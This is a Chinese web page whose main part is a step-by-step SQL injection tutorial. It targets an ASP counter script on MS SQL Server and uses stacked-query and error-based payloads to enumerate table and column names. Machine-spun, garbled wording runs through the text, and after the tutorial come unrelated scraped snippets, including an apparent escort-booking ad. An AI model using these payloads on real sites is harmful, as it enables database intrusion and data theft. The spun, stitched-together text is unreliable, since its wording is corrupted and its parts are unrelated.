人人在是否碰到过这样的站点:
全站文章系统接纳FSO静态天生的HTML文件来显示。这样做的利益一来可以减轻服务器肩负,提高接见速率。二来也阻止了SQL注入式的攻击。。
我来说说他们的文章系统原理:所有文章均在数据库存有一个副本。另处凭据模板天生一个HTML页面。
攻击方式:
查看源文件/看内里是否有通过 *** 来挪用的页面。
如挪用来更新文章的浏览次数。
我们就可以这样来试一下能否注入:
http://服务器域名/count.asp?id=1552’
看一下是否失足。如失足说明有注入破绽。然后正常攻击。
在本机确立一下post.htm的文件和log.txt的文本文件(用来记任命,这是一个好习惯)
post.htm内容:主要是利便输入。
对于SQLSERVER的服务器可以这样判断:在1552后加一分号,如正常有可能是SQLSERVER
对于这类数据库可以先建一个表id=1552;create table aaa(aaa char(20));--
然后插入一条纪录:id=1552;insert into aaa values(’test’);--
再之后枚举出他的数据表名:
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=’u’ and status>0);--
这是将之一个表名更新到aaa的字段处。
id=1552 and exists(select * from aaa where aaa>5)就会报错,多数情形会将表名直接读出:看:
Microsoft OLE DB Provider for SQL Server 错误 ’80040e07’
将 varchar 值 ’vote’ 转换为数据类型为 int 的列时发生语法错误。
/search.asp,行21
其中vote就是表名:
也可以先猜出一个表名,再把(select top 1 name from sysobjects where xtype=’u’ and status>0)的值更新到谁人表的一条纪录中去。通过网页显示。
读出之一个表,第二个表可以这样读出来(在条件后加上 and name<>’适才获得的表名’)。
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=’u’ and status>0 and name<>’vote’);--
然后id=1552 and exists(select * from aaa where aaa>5)
读出第二个表,^^^^^^一个个的读出,直到没有为止。
读字段是这样:
id=1552;update aaa set aaa=(select top 1 col_name(object_id(’表名’),1));--
然后id=1552 and exists(select * from aaa where aaa>5)失足,获得字段名
id=1552;update aaa set aaa=(select top 1 col_name(object_id(’表名’),2));--
然后id=1552 and exists(select * from aaa where aaa>5)失足,获得字段名
长春欧亚集团公司怎么样,长春欧亚集团股份有限公司。 1984年春的一天,28岁的曹和平披着件军大衣、骑着辆“二八大杠”前来长春市百货公司第四商店报到。上世纪80年代的长春,改革开...
网易财经讯7月7日早上信息,对于快递不断遗失的难题,我国与货运物流购置协会在京举办讨论会。在我国物流行业不标准、快递公司政策法规不健全、保障机制并未创建,权威专家觉得,物流公司出示合同书欠缺公正,...
. 宝宝烂嘴角其实也就是所说的“口角炎”,并不一定是上火的表现,宝宝发生口角炎与习惯,过敏以及维生素缺乏等都有关联,那么,宝宝烂嘴角怎么办呢?接下来友谊长存小编来说说。 宝宝烂嘴角是上火了吗 春...
广州荔湾区商务接待模特预约看图片微信号码【鲁婷】,上海市是一座成功者的集中地,对商业服务女学妹的要求也是较为大的,今日大牌明星兼职模特共享女学妹访梦,年纪石家庄市女29,婚姻生活:单身,文凭:普通高中...
6月17日父亲节,苏宁易购和科勒联合举办的 “2018苏州国际10公里精英赛”将于苏州石湖公园开跑。“土味王子”明道将现身,与4000位专业马拉松选手、2000个家庭选手温情乐跑。 苏宁家装X科...
应网友要求,委托论坛会员“扑火”下载整理 打包了这三个杂志2014年的整年合集 包罗了《读者》《意林》《故事会》2014整年期刊 由于txt花样有文本错误等情形,故没有收录下载 注重:打包不包...